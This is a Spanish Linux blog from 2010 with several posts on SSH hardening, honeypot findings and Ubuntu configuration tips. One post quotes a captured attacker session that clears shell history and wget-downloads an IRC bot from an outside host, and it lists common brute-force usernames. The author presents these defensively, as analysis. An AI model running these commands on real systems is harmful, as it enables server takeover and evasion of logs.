27 may 2010

Seguridad en SSH (2)

Después de ver en el artículo anterior los peligros a los que estamos expuestos si tenemos nuestro servidor SSH mal configurado, veamos como configurarlo de manera segura.
Para acceder a la configuración del servidor SSH accedemos a la carpeta /etc/ssh/ donde se encuentra en el fichero sshd_config. Veamos un ejemplo de su contenido:



# Package generated configuration file
# See the sshd(8) manpage for details

# What ports, IPs and protocols we listen for
Port 60000
# Use these options to restrict which interfaces/protocols sshd will bind to
#ListenAddress ::
#ListenAddress 0.0.0.0
Protocol 2
# HostKeys for protocol version 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
#Privilege Separation is turned on for security
UsePrivilegeSeparation yes

# Lifetime and size of ephemeral version 1 server key
KeyRegenerationInterval 3600
ServerKeyBits 768

# Logging
SyslogFacility AUTH
LogLevel INFO

# Authentication:
LoginGraceTime 120
PermitRootLogin no
StrictModes yes
AllowUsers mrproper
MaxStartups 3

RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile %h/.ssh/authorized_keys

# Don't read the user's ~/.rhosts and ~/.shosts files
IgnoreRhosts yes
# For this to work you will also need host keys in /etc/ssh_known_hosts
RhostsRSAAuthentication no
# similar for protocol version 2
HostbasedAuthentication no
# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication
#IgnoreUserKnownHosts yes
# To enable empty passwords, change to yes (NOT RECOMMENDED)
PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no

# Change to no to disable tunnelled clear text passwords
PasswordAuthentication yes

# Kerberos options
#KerberosAuthentication no
#KerberosGetAFSToken no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes

# GSSAPI options
#GSSAPIAuthentication no
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes

X11Forwarding yes
X11DisplayOffset 10
PrintMotd no
PrintLastLog yes
TCPKeepAlive no
ServerAliveInterval 60
#UseLogin no

#MaxStartups 10:30:60
#Banner /etc/issue.net

# Allow client to pass locale environment variables
AcceptEnv LANG LC_*

Subsystem sftp /usr/lib/openssh/sftp-server

UsePAM yes

A continuación veremos las principales opciones de seguridad. Para ver el resto de las opciones puedes recurrir a la extensa información de man sobre ssh (man sshd_config y man sshd). Es aconsejable tener claro como funciona la criptografía asimétrica (o de llave pública) para entender las opciones relacionadas con este tema.

  • Port 22: Establece el puerto en el que escucha el servidor SSH, por defecto se usa el puerto 22. No es aconsejable usar el puerto por defecto pues si usamos este puerto nos arriesgamos a ser blanco de múltiples ataques. El cambio del puerto utilizado nos ahorrará un montón de problemas siendo recomendable usar un puerto en el rango de los puertos privados. Puedes consultar el rango de estos puertos en el fichero /proc/sys/net/ipv4/ip_local_port_range, en Ubuntu 8.04 el rango es 32768 - 61000.
  • ListenAddress 0.0.0.0: Establece la IP en la cual escuchara el servicio, muy importante si queremos dar servicio solamente en nuestra red local; pues nos evitará ataques desde otras redes como internet. Si lo dejamos a 0.0.0.0 el servidor escuchara en todas las ips de la máquina.
  • Protocol 2: Estable el protocolo a usar, es recomendable usar el protocolo 2 pues incluye numerosas mejoras en cuanto a seguridad.
  • HostKey /etc/ssh/ssh_host_rsa_key

    HostKey /etc/ssh/ssh_host_dsa_key


    Ubicación de las claves privadas usadas por el servidor. Es importante controlar el acceso a estas claves pues son usadas para establecer la identidad del servidor y descifrar los mensajes recibidos, por lo que si cayeran en manos de un atacante este podría descifrar el tráfico capturado o suplantar la identidad de nuestro servidor.
  • Clave Pública
  • UsePrivilegeSeparation yes: Si lo establecemos a sí (opción muy recomendada) el servicio se ejecutará con unos privilegios mínimos creando un nuevo hilo con los privilegios propios del usuario una vez autentificado. El objetivo es evitar un escalado de privilegios, por ejemplo por medio del uso de exploits.
  • KeyRegenerationInterval 3600
    ServerKeyBits 768

    Tiempo de vida de la clave del servidor y longitud de la misma, se usa sólo para el protocolo versión 1, es preferible usar el protocolo versión 2.
  • SyslogFacility AUTH: establece que clave de syslog se usará para guardar los logs, podemos ver la configuración de syslog en /etc/syslog.conf. La clave AUTH guarda los mensajes en el fichero /var/log/auth.log. Para ver estos mensajes podemos hacerlos usando cat y filtrando con grep "cat /var/log/auth.log | grep sshd".
  • LogLevel INFO: establece el nivel de información que se guardara en el log, de menos información a más los niveles son: SILENT, QUIET, FATAL, ERROR, INFO, VERBOSE, DEBUG, DEBUG1, DEBUG2, y DEBUG3.
  • LoginGraceTime 120: tiempo en segundos antes de desconectar un usuario conectado pero no autentificado (usuario en el proceso de login).
  • PermitRootLogin no: indica como puede loguearse el super usuario. Las opciones son:
    • “yes” puede loguearse como el resto de usuarios.
    • “without-password” sólo puede loguerase mediante clave pública.
    • “forced-commands-only” permite login con clave pública; pero limitando su uso al lanzamiento de comandos establecidos con la opción "command" de sshd.
    • “no” el usuario root no puede loguearse
    Es preferible establecer esta opción a no y hacer uso de sudo para las tareas que necesiten permisos de root, pues como ya vimos la cuenta de root es una de las que más ataques sufre.
  • StrictModes yes: comprueba que los ficheros de claves de ssh del usuario no sean accesible para otros usuarios de la máquina con lo cual podrían descifrar el tráfico de este.
  • ServerAliveInterval 60: intervalo en segundos en el cual se comprobará periódicamente si el usuario sigue conectado. Este mensaje se envía a través del canal cifrado al contrario que la opción TCPKeepAlive. Lo recomendable es activar ServerAliveInterval y establecer TCPKeepAlive no.
  • AllowUsers usuario1 usuario2 usuario3: lista con los usuarios que pueden acceder vía SSH. Esta opción es una de las más importantes porque nos permite establecer con seguridad que usuarios pueden hacer uso del SSH. Evitando así problemas al instalar servicios que agregan sus propios usuarios, pues estos usuarios son los primeros que un atacante intentaría usar.
  • MaxStartups 1: número máximo de usuarios no autentificados conectados al servidor. Útil a la hora de evitar un consumo excesivo de recursos ante un ataque.
  • PubkeyAuthentication yes: Habilita la autentificación mediante clave pública
  • AuthorizedKeysFile %h/.ssh/authorized_keys: establece la ubicación de las clave públicas de los usuarios (%h hace referencia al directorio home).
  • IgnoreRhosts yes
    HostbasedAuthentication no
    Desabilita los ficheros .rhosts y .shosts de los usuarios. Estos ficheros permiten la conexión remota a otras máquinas sin emplear contraseña.
  • PermitEmptyPasswords no: permite el acceso a usuarios sin clave. Permitir el acceso a estos usuarios es un suicidio, salvo casos muy concretos, desde el punto de vista de la seguridad.
  • PasswordAuthentication yes: establece si se puede realizar el login mediante nombre y contraseña. Es mucho más seguro el uso de claves públicas; pero esto obliga al usuario a tener el archivo de la clave a mano a la hora de acceder al SSH. Si establecemos esta opción a sí es muy importante el uso de claves seguras para todos los usuarios del sistema, evitando así el éxito de los ataques por fuerza bruta.
  • X11Forwarding yes: permite abrir programas en modo gráfico de forma remota. Esto puede plantear algunos problemas de seguridad en el equipo local si el servidor ha sido comprometido. Si un atacante pudiera leer el fichero .Xauthority tendría acceso completo a nuestro escritorio (más información aquí y aquí).
  • AcceptEnv LANG LC_*: Establece que variables de nuestro cliente de SSH serán pasadas al servidor. Algunas variables pueden ser usadas para saltarse restriccines impuestas en el servidor. La configuración por defecto acepta las variables de lenguaje y regionales.
  • MaxAuthTries 6: Establece el número máximo de intentos de autentificación por conexión. Si se alcanza la mitad de este valor los intentos serán escritos al fichero de log.

Es una buena práctica revisar de vez en cuando el fichero de log del servidor para asegurarse que todo marcha bien. Con la orden sudo cat /var/log/auth.log | grep sshd podemos ver la información generada por el demonio sshd y también es interesante revisar los intentos de autentificación inválidos usando sudo cat /var/log/auth.log | grep sshd | grep Fail.

26 may 2010

Seguridad en SSH (1)

Mi programa favorito es sin duda OpenSSH. Te permite abrir una terminal de forma remota, abrir aplicaciones en modo gráfico, crear túneles entre máquinas, redirigir puertos, transferir ficheros, ... y todo ellos de forma segura encriptando el tráfico entre los extremos. OpenSSH goza de un tremendo éxito y se estima que en el 2000 ya lo usaban dos millones de usuarios (fuente); pero esto tiene su lado malo y es que lo hace un blanco muy apetitoso para los atacantes. Existen multitud de máquinas que se dedican a escanear la red buscando equipos con servidores SSH accesibles y a lanzar ataques contra ellos.



OpenSSH inicio su andadura en 1999 y es un desarrollo maduro con muy pocos fallos, aunque inevitablemente surge alguno de vez en cuando; por este motivo la mayoría de los ataques se basan en el uso de fuerza bruta mediante programas como medusa que se dedican a probar un diccionario de nombres de usuario y claves contra una máquina. Para evitar que nuestra máquina se vea comprometida es esencial tener el sistema operativo actualizado y sobre todo una buena configuración del servicio SSH, la cual veremos en otra entrada porque primero nos centraremos en los ataques que podemos sufrir por SSH si tenemos una máquina accesible desde internet.

Para hacernos una idea de los que nos podría pasar si no configuramos adecuadamente nuestro servidor SSH veremos algunos datos que he recolectado en mi máquina utilizando kojoney, un ligero honeypot, escrito en Python, que simula un servidor SSH. Los datos fueron recolectados usando kojoney en el puerto 22 (por defecto) abierto a internet. El periodo de los datos abarca de 03/11/2009 a 25/05/2010 (203 días).

  • Número de conexiones: 26567 (130 conexiones por día), de las cuales 2168 consiguieron autentificarse en el honeypot
  • Nombres de usuario más usados:
    14510 root
    448 test
    315 nagios
    311 oracle
    263 admin
    163 postgres
    144 user
    144 operator
    121 web
    120 ts
    112 guest
    108 teste
    106 zabbix
    99 ftp
    96 backup
    91 office
    76 ftpguest
    66 test1
    60 mysql
    59 webmaster
    55 ftpuser
    54 teamspeak
    50 testuser
    47 master
    46 upload
    43 soporte
    42 usuario
    40 zenoss
    39 shoutcast
    38 temp
    38 svn
  • Diferentes IP atacantes: 428
  • Numero de atacantes por país:

Si observamos los datos se ve claramente que la táctica de los atacantes se basa en atacar servidores SSH mal configurados, es decir servidores que hacen uso de usuarios y claves por defecto. También llama la atención el elevado número de atacantes, con una media de dos atacantes diferentes por día. Para continuar podemos ver los comandos ejecutados por algunos de estos atacantes:


##Lista el directorio actual
ls
##Desactiva los logs
unset HISTSAVE
unset HISTLOG
unset HISTORY
##Comprueba los usuarios conectados a la máquina
w
##Intentar cambiar la clave de usuario
passwd
##Intenta obtener información sobre la CPU
cat /proc/cpuinfo
##Comprueba si wget está instalada
wget
##Comprueba que wget puede acceder a internet
wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe
##Descarga un bot para controlar el sistema por IRC
wget http://nasaundernet.is-the-boss.com/psybnc-linux.tgz

La intención del atacante es bastante clara, obtener acceso a la máquina y cambiar la clave de usuario (hay que evitar la posible competencia) para después instalar un bot IRC con el que controlar la máquina. En este caso se trataba de psyBNC. El motivo de controlar la máquina comprometida mediante un bot IRC es poder utilizar la máquina sin conectarse directamente a ella, dejando de esta forma menos huellas; así como poder controlar todas las máquinas comprometidas simultáneamente desde un único canal IRC.

Seguramente el destino de estos servidores comprometidos sea su uso para enviar spam, servir de plataforma para atacar a otras máquinas, usarlos como proxy, ... La mayoría de estas máquinas son servidores sin actualizar y a los que no se presto el interés necesario a lo hora de configurarlos de forma segura. Para que no nos pase esto en la próxima entrada veremos como configurar un servidor SSH de forma segura.

20 may 2010

Video disponible en "breve"

Dando un paseo por la web me encontré con este artículo de "La Aldea Irreductible". El artículo enlaza un interesante vídeo en time lapse sobre el proceso de transporte del transbordador Discovery hasta la plataforma de lanzamiento para la misión STS-131. Cuando intente reproducir el vídeo obtuve el siguiente resultado:



Para poder ver el vídeo tenía que esperar 14435 días 6 horas y 41 min si hacemos un cálculo rápido desde la consola con "echo $(( 14435 / 365 ))" (más información sobre operaciones matemáticas en bash) obtenemos como resultado 39 años, lo mejor es que esto es "en breve".
Si hacemos un calculo mucho más preciso usando WolframAlpha obtenemos que podré ver el vídeo dentro de 39 años 6 meses 16 días 6 horas 33 minutos 23 segundos, que viene siendo el 7 de diciembre de 2049. Eso sí después de ver el vídeo, casi creo que valdría la pena aunque hubiera que esperar tanto.

PD: Si tienes algún problema con el vídeo prueba desde aquí.

Instalando el driver de ATI en Ubuntu 8.04

Hoy al actualizar mi ordenador de sobremesa, el cual corre una Ubuntu 8.04, uno de los paquetes actualizados era el servidor Xorg, lo que me preocupo un poco pues tengo instalado la última versión del driver propietario de ATI para la tarjeta gráfica; el cual no se encuentra en los repositorios. Como me temía, al reiniciar el equipo la pantalla se quedo en negro y el pc no respondía a ninguno de mis intentos de reiniciarlo de forma segura, dejándome como única solución usar el botón de reset. Al reiniciar seleccioné la opción failsafe del kernel más reciente en el menú del grub y durante el arranque intenté reparar el fichero de configuración de Xorg (/etc/X11/xorg.conf) desde el menú de reparación de Ubuntu. Esto me dejo el sistema funcionando pero sin aceleración gráfica.

La verdad es que tenía prisa por poder ver el último capítulo de House y no me paré mucho a mirar cual era el problema, seguramente el módulo que había instalado en el equipo no funcionaba con la nueva versión del servidor de X. La solución fue simple:

  1. Bajar el driver de la página de ATI.
  2. Ejecutar como root el instalador del driver "sudo sh ati-driver-installer-10-4-x86.x86_64.run".
  3. Aceptar todo y usar la instalación en automático.
  4. Instalador del driver de ATI

  5. Reiniciar las X con Ctrl+Alt+Supr o bien salir de la sesión en modo gráfico y desde una terminal (Ctrl+F1) reiniciar el servidor X "sudo /etc/init.d/gdm restart".

Esto solucionó el problema, sin necesidad siquiera de reiniciar y pude ver la serie tranquilamente.

15 may 2010

Actualizaciones automáticas en Ubuntu 10.04

Esta semana al actualizar mi Ubuntu 10.04 desde la consola me ha llamado la atención que se ha instalado un paquete que no tenia instalado previamente, unattended-upgrades. Este paquete añade la posibilidad de actualizar el sistema operativo de forma automática. Aunque en un principio pueda parecer preocupante que un programa de este tipo se instale sin intervención del usuario, la opción de que el sistema se actualice de forma silenciosa está deshabilitada por defecto; siendo necesario que el usuario la active explícitamente.
La forma sencilla de activarlo se encuentra en Sistema->Orígenes de Software, en la pestaña de actualizaciones podremos activarlo seleccionando las opciones que más nos gusten.



Aunque hacerlo de esta forma no va con la filosofía de este blog, así que vamos mirar un poco más a fondo como configurar las actualizaciones automáticas. El fichero de configuración se encuentra en /etc/apt/apt.conf.d/50unattended-upgrades y este es el contenido:


// Automatically upgrade packages from these (origin, archive) pairs
Unattended-Upgrade::Allowed-Origins {
"Ubuntu lucid-security";
// "Ubuntu lucid-updates";
};

// List of packages to not update
Unattended-Upgrade::Package-Blacklist {
// "vim";
// "libc6";
// "libc6-dev";
// "libc6-i686";
};

// Send email to this address for problems or packages upgrades
// If empty or unset then no email is sent, make sure that you
// have a working mail setup on your system. The package 'mailx'
// must be installed or anything that provides /usr/bin/mail.
//Unattended-Upgrade::Mail "root@localhost";

// Do automatic removal of new unused dependencies after the upgrade
// (equivalent to apt-get autoremove)
//Unattended-Upgrade::Remove-Unused-Dependencies "false";

// Automatically reboot *WITHOUT CONFIRMATION* if a
// the file /var/run/reboot-required is found after the upgrade
//Unattended-Upgrade::Automatic-Reboot "false";

// Use apt bandwidth limit feature, this example limits the download
// speed to 70kb/sec
//Acquire::http::Dl-Limit "70";

Las opciones más interesante son las de evitar la actualización de ciertos paquetes, establecer una velocidad máxima de descarga para que esta no interfiera con nuestro uso del pc y establecer un email al que se enviaran los detalles de las actualizaciones realizadas; sino nos gusta que se nos notifique por correo siempre podemos consultar el fichero de log en /var/log/unattended-upgrades.

Una vez hallamos configurado a nuestro gusto el fichero de configuración pasamos a activar la actualizaciones estableciendo la periodicidad de estas en el fichero /etc/apt/apt.conf.d/10periodic.


APT::Periodic::Update-Package-Lists "1";
APT::Periodic::Download-Upgradeable-Packages "1";
APT::Periodic::AutocleanInterval "7";
APT::Periodic::Unattended-Upgrade "1";

El periodo se establece en días y para activar Unattended-Upgrade como es lógico es necesario activar Update-Package-Lists y Download-Upgradeable-Packages. AutocleanInterval establece el periodo en que se borran los paquetes descargados y su resultado es el mismo que el de "apt-get clean".


Como siempre tenéis más información en la documentación de Ubuntu.

10 may 2010

Añadiendo colores al comando ls

Si usas con frecuencia, o de vez en cuando, la consola de cualquier sistema operativo tipo *NIX (Unix, Linux, FreeBDS, MacOSX, ...) te habrás dado cuenta que uno de los comandos más usados, sino el que más, es ls. "ls" se encarga de listar información acerca de ficheros (los directorios también son ficheros) mostrándola en la pantalla. Por defecto esta información se muestra en el mismo color que el resto del texto de nuestra consola; pero con la opción --color=auto se muestran los diferentes tipos de archivos en color.


ls sin colores
ls con colores

Los colores se asignan según el contenido de la variables de entorno LS_COLORS, el contenido por defecto en Ubuntu 8.04 es este:


no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.svgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:

La variable LS_COLOR se establece mediante el comando dircolors que cuenta con una base de datos predefinida y que podemos modificar especificando un fichero de configuración a la hora de cargarlo. Este comando se carga normalmente en el fichero de configuración del interprete de shell que utilicemos. Podemos ver la lista completa con todos los colores predefinidos con la opción --print-database y si queremos modificarlos podemos usarla como plantilla del fichero de configuración.


# Configuration file for dircolors, a utility to help you set the
# LS_COLORS environment variable used by GNU ls with the --color option.
# Copyright (C) 1996, 1999-2008
# Free Software Foundation, Inc.
# Copying and distribution of this file, with or without modification,
# are permitted provided the copyright notice and this notice are preserved.
# The keywords COLOR, OPTIONS, and EIGHTBIT (honored by the
# slackware version of dircolors) are recognized but ignored.
# Below, there should be one TERM entry for each termtype that is colorizable
TERM Eterm
TERM ansi
TERM color-xterm
TERM con132x25
TERM con132x30
TERM con132x43
TERM con132x60
TERM con80x25
TERM con80x28
TERM con80x30
TERM con80x43
TERM con80x50
TERM con80x60
TERM cons25
TERM console
TERM cygwin
TERM dtterm
TERM eterm-color
TERM gnome
TERM gnome-256color
TERM konsole
TERM kterm
TERM linux
TERM linux-c
TERM mach-color
TERM mlterm
TERM putty
TERM rxvt
TERM rxvt-cygwin
TERM rxvt-cygwin-native
TERM rxvt-unicode
TERM screen
TERM screen-256color
TERM screen-bce
TERM screen-w
TERM screen.linux
TERM vt100
TERM xterm
TERM xterm-16color
TERM xterm-256color
TERM xterm-88color
TERM xterm-color
TERM xterm-debian
# Below are the color init strings for the basic file types. A color init
# string consists of one or more of the following numeric codes:
# Attribute codes:
# 00=none 01=bold 04=underscore 05=blink 07=reverse 08=concealed
# Text color codes:
# 30=black 31=red 32=green 33=yellow 34=blue 35=magenta 36=cyan 37=white
# Background color codes:
# 40=black 41=red 42=green 43=yellow 44=blue 45=magenta 46=cyan 47=white
NORMAL 00 # global default, although everything should be something.
FILE 00 # normal file
DIR 01;34 # directory
LINK 01;36 # symbolic link. (If you set this to 'target' instead of a
# numerical value, the color is as for the file pointed to.)
FIFO 40;33 # pipe
SOCK 01;35 # socket
DOOR 01;35 # door
BLK 40;33;01 # block device driver
CHR 40;33;01 # character device driver
ORPHAN 40;31;01 # symlink to nonexistent file, or non-stat'able file
SETUID 37;41 # file that is setuid (u+s)
SETGID 30;43 # file that is setgid (g+s)
STICKY_OTHER_WRITABLE 30;42 # dir that is sticky and other-writable (+t,o+w)
OTHER_WRITABLE 34;42 # dir that is other-writable (o+w) and not sticky
STICKY 37;44 # dir with the sticky bit set (+t) and not other-writable
# This is for files with execute permission:
EXEC 01;32
# List any file extensions like '.gz' or '.tar' that you would like ls
# to colorize below. Put the extension, a space, and the color init string.
# (and any comments you want to add after a '#')
# If you use DOS-style suffixes, you may want to uncomment the following:
#.cmd 01;32 # executables (bright green)
#.exe 01;32
#.com 01;32
#.btm 01;32
#.bat 01;32
# Or if you want to colorize scripts even if they do not have the
# executable bit actually set.
#.sh 01;32
#.csh 01;32
# archives or compressed (bright red)
.tar 01;31
.tgz 01;31
.svgz 01;31
.arj 01;31
.taz 01;31
.lzh 01;31
.lzma 01;31
.zip 01;31
.z 01;31
.Z 01;31
.dz 01;31
.gz 01;31
.bz2 01;31
.bz 01;31
.tbz2 01;31
.tz 01;31
.deb 01;31
.rpm 01;31
.jar 01;31
.rar 01;31
.ace 01;31
.zoo 01;31
.cpio 01;31
.7z 01;31
.rz 01;31
# image formats
.jpg 01;35
.jpeg 01;35
.gif 01;35
.bmp 01;35
.pbm 01;35
.pgm 01;35
.ppm 01;35
.tga 01;35
.xbm 01;35
.xpm 01;35
.tif 01;35
.tiff 01;35
.png 01;35
.svg 01;35
.mng 01;35
.pcx 01;35
.mov 01;35
.mpg 01;35
.mpeg 01;35
.m2v 01;35
.mkv 01;35
.ogm 01;35
.mp4 01;35
.m4v 01;35
.mp4v 01;35
.vob 01;35
.qt 01;35
.nuv 01;35
.wmv 01;35
.asf 01;35
.rm 01;35
.rmvb 01;35
.flc 01;35
.avi 01;35
.fli 01;35
.gl 01;35
.dl 01;35
.xcf 01;35
.xwd 01;35
.yuv 01;35
# audio formats
.aac 00;36
.au 00;36
.flac 00;36
.mid 00;36
.midi 00;36
.mka 00;36
.mp3 00;36
.mpc 00;36
.ogg 00;36
.ra 00;36
.wav 00;36

Para no tener que teclear continuamente ls --color=auto lo más sencillos es añadir un alias a nuestro fichero de configuración de bash o directamente al fichero .bash_aliases. Si elegimos modificar el fichero de configuración del bash, ".bash.rc" que se encuentra en nuestro home, debemos añadir estas lineas o descomentarlas si ya están. También podemos ver como se hace uso del comando dircolors para cargar los colores por defecto.


if [ "$TERM" != "dumb" ] && [ -x /usr/bin/dircolors ]; then
eval "`dircolors -b`"
alias ls='ls --color=auto'
fi

5 may 2010

Actualizando un Eeepc 1005HA de Ubuntu 9.10 a 10.04

El último fin de semana me dio por actualizar mi netbook un Eeeepc 1005HA con Ubuntu UNR 9.10 a la última versión Ubuntu UNE 10.04 LTS. Lo más sensato para hacer estas cosas es esperar un mes o dos antes de actualizar el equipo para dar tiempo a que se corrijan los típicos bugs que siempre aparecen en las nuevas distribuciones. Incluso si tienes prisa por echarle un vistazo a la nueva distribución, lo más cómodo es esperar unos cuantos días para no comerte la sobrecarga en los servidores de repositorios. A pesar de todo esto decidí sufrir un poco y actualizar el ultraportátil. Después de ejecutar "updata-manager -c" me costó un par de intentos conseguir que el ordenador descargará los índices de todos los repositorios, a lo que siguió un par de horas de descarga de los paquetes nuevos y otra hora más para que el netbook instalara y configurará los paquetes.
Aquí tenéis la información de los pasos a seguir para realizar la actualización. Todo muy sencillo darle a actualizar y aceptar los cambios a realizar.




El nuevo Ubuntu va muy bien y se nota un poco más ligero e incluso tarda un poco menos en arrancar, casi todo funcionó perfectamente a la primera. Personalmente me gusta más el nuevo tema por defecto que el anterior, aquí podéis echar un vistazo a las principales diferencias.


Ahora llega la parte divertida, lo que no funcionó. Lo primero que noté es que no funcionaban las teclas de función, esto se soluciona editando el fichero de configuración del grub /etc/default/grub y cambiando GRUB_CMDLINE_LINUX_DEFAULT='quiet splash' por GRUB_CMDLINE_LINUX_DEFAULT='quiet splash acpi_osi=Linux', después actualizamos el grub con sudo update-grub y reiniciamos.


El otro problema fue que el control del ventilador de mi netbook no funcionaba (información sobre el bug). El problema es que no existe el fichero de configuración del demonio de control de los ventiladores /etc/fancontrol lo que se soluciona ejecutando pwmconfig como root y luego iniciando el demonio /etc/init.d fancontrol start.

Este es mi fichero de configuración de fancontrol:


# Configuration file generated by pwmconfig, changes will be lost
INTERVAL=10
DEVPATH=hwmon0= hwmon1=devices/platform/eeepc
DEVNAME=hwmon0=acpitz hwmon1=eeepc
FCTEMPS=hwmon1/pwm1=hwmon0/temp1_input
FCFANS= hwmon1/pwm1=
MINTEMP=hwmon1/pwm1=35
MAXTEMP=hwmon1/pwm1=70
MINSTART=hwmon1/pwm1=40
MINSTOP=hwmon1/pwm1=0

Otra posible solución, sería lanzar al iniciar un script que se dedicara a gestionar el ventilador y deshabilitar el control del ventilador con fancontrol. Aquí tenéis un par de scripts y más información de como lanzarlos al iniciar Ubuntu. Yo usé uno de los scripts de la página con un par de modificaciones y después lo agregué al arranque del sistema copiándolo en /etc/init.d y ejecutando sudo update-rc.d eeepcfan defaults.


#!/bin/bash

# Automatic fan controller
# Tested on a eee 1005HA running Ubuntu 10.04

# Test with 'sudo eeefan background'.
# If works, 'sudo update-rc.d eeepcfan defaults'
# and reboot.

temp_file=/sys/devices/virtual/thermal/thermal_zone0/temp
fan_control=/sys/devices/platform/eeepc/hwmon/hwmon1/pwm1
fan_control_activate=/sys/devices/platform/eeepc/hwmon/hwmon1/pwm1_enable

eeefanupdate() {
TEMP=$(cat $temp_file)
TEMP=$(($TEMP / 1000))

FANSPEED=0

if [ $TEMP -ge 30 ]
then
FANSPEED=30
fi

if [ $TEMP -ge 35 ]
then
FANSPEED=60
fi

if [ $TEMP -ge 40 ]
then
FANSPEED=80
fi

if [ $TEMP -ge 45 ]
then
FANSPEED=100
fi

if [ $TEMP -ge 50 ]
then
FANSPEED=120
fi

if [ $TEMP -ge 55 ]
then
FANSPEED=180
fi

if [ $TEMP -ge 60 ]
then
FANSPEED=200
fi

if [ $TEMP -ge 65 ]
then
FANSPEED=220
fi

echo $FANSPEED > $fan_control
}

case "$1" in
start)
start-stop-daemon --start --background --exec $0 -- background
;;
background)
sleep 70

echo 1 > $fan_control_activate

while [ 1 ]
do
eeefanupdate
sleep 10
done
;;
stop)
;;
*)
echo "Usage: $0 start|background" >&2
exit 3
;;
esac

Una aplicación interesante para los Eeepc es eee-control disponible en los repositorios. Esta aplicación resulta muy útil porque permite configurar varios aspectos como la frecuencia del procesador, control del ventilador, teclas de función, desactivar hardware del equipo, ... Es necesario modificar el fichero de configuración si queremos usar el control del ventilador para adaptarlo al 1005HA, para ello editamos /etc/eee-control.conf y en el apartado [fan] establecemos max-speed: 255.


Una de las características más polémicas de esta versión de Ubuntu UNE es que el panel del menú superior está fijo y no es posible añadir applets o mover los existentes. La forma de solucionar esto es iniciar sesión en la interfaz de Gnome en vez de la interfaz UNE y modificar esta para que se comporte de la misma forma que la interfaz para netboks.

En la página de documentación de Ubuntu está la información al respecto.

Pasos para modificar la interfaz:


sudo ln -s /etc/xdg/xdg-une/autostart/maximus-autostart.desktop /etc/xdg/autostart/
sudo ln -s /etc/xdg/xdg-une/autostart/netbook-launcher.desktop /etc/xdg/autostart/
sudo ln -s /usr/share/gconf/une/default/20_une-gconf-default /usr/share/gconf/defaults/
sudo ln -s /usr/share/gconf/une/mandatory/20_une-gconf-mandatory /usr/share/gconf/defaults/
sudo update-gconf-defaults

Si nos pasamos modificando el panel y no sabemos como devolverlo a su aspecto original basta con borrar el directorio donde se guarda la configuración del panel para que al reiniciar sesión este recupere la configuración por defecto. La carpeta es .gconf/apps/panel en nuestro directorio home, lo podemos borrar desde la consola con "rm -rf ~/.gconf/apps/panel".

4 may 2010

Evitando el salvapantallas


Primer artículo del blog y nada mejor para empezar que una tira cómica:

http://xkcd.com/196/

Aunque las distribuciones de Linux han mejorado mucho en los últimos años en cuanto a usabilidad, el otro día me pasó algo parecido a la divertida tira de XKCD con Ubuntu Netbook Remix 9.10. El problema consistía en que al ver algún vídeo usando VLC se activaba el protector de pantallas al transcurrir el tiempo configurado. Normalmente el propio reproductor se encarga de evitar esta situación; pero por algún motivo esto no sucedía. Puede que el salvapantallas esté configurado con una sensibilidad menor al tratarse de una distribución orientada a ultraportátiles.

Para mi desgracia, la situación no incluía ninguna novia aunque esto tuvo la ventaja de que pude leerme sin agobios la documentación necesaria para crear un pequeño script con el que solucionar mi problema. El programa que nos permite emular tanto el teclado como el ratón se llama xte y está contenido en el paquete xautomation. Como podemos comprobar en la página correspondiente del man a xte la sintaxis es bastante sencilla, básicamente xte [opciones] comando argumentos. El comando que nos interesa es mousermove y tan solo necesitamos pasarle el movimiento que haremos en las coordenadas x e y. Una vez que conocemos la sintaxis de xte agregamos un bucle infinito y una pausa de 60 segundos y ya tenemos nuestro script:

#!/bin/bash
while [ 1 ]
do
xte 'mousermove 5 0'
sleep 60
done

Con esto conseguimos disfrutar de las películas sin molestas interrupciones del salvapantallas en nuestro portátil. Aunque eso sí, siempre nos quedarán las molestas interrupciones de la novia; pero eso no se resuelve con un script.